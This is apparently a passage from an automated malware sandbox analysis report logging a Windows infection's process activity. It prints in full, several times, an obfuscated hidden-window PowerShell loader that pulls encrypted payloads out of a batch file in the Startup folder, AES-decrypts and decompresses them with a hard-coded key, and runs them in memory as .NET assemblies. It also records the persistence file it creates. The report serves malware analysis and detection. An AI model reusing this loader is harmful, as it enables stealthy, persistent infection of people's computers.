$orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00404C9D LoadLibraryA,GetProcAddress,

17_2_00404C9D

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00414060 push eax; ret	17_2_00414074
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00414060 push eax; ret	17_2_0041409C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00414039 push ecx; ret	17_2_00414049
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004164EB push 0000006Ah; retf	17_2_004165C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00416553 push 0000006Ah; retf	17_2_004165C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00416555 push 0000006Ah; retf	17_2_004165C4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
